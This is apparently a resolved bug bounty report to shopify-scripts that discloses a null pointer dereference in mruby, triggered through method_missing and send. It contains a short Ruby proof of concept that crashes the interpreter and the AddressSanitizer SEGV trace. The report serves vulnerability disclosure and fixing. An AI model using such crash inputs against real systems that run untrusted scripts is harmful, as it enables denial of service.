Null pointer dereference with send/method_missing
S
shopify-scripts
Submitted None
Actions:
Reported by
titanous
Vulnerability Details
Technical details and impact analysis
The following program triggers a null pointer dereference with mruby b200c747:
```ruby
def method_missing(m)
ensure
begin A rescue
break
rescue
end
end
send ''
```
ASAN report:
```text
ASAN:DEADLYSIGNAL
=================================================================
==12116==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051bfaa bp 0x7fff4a650cd0 sp 0x7fff4a648a80 T0)
#0 0x51bfa9 in mrb_vm_exec /home/vagrant/mruby/src/vm.c:1427:9
#1 0x510c6a in mrb_vm_run /home/vagrant/mruby/src/vm.c:879:12
#2 0x541b3f in mrb_top_run /home/vagrant/mruby/src/vm.c:2884:12
#3 0x6569ff in mrb_load_exec /home/vagrant/mruby/mrbgems/mruby-compiler/core/parse.y:5823:7
#4 0x657685 in mrb_load_file_cxt /home/vagrant/mruby/mrbgems/mruby-compiler/core/parse.y:5832:10
#5 0x4f3a61 in main /home/vagrant/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227:11
#6 0x7f256672ef44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
#7 0x41a5c5 in _start (/home/vagrant/mruby/bin/mruby+0x41a5c5)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/vagrant/mruby/src/vm.c:1427:9 in mrb_vm_exec
==12116==ABORTING
```
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$800.00
Submitted
Weakness
NULL Pointer Dereference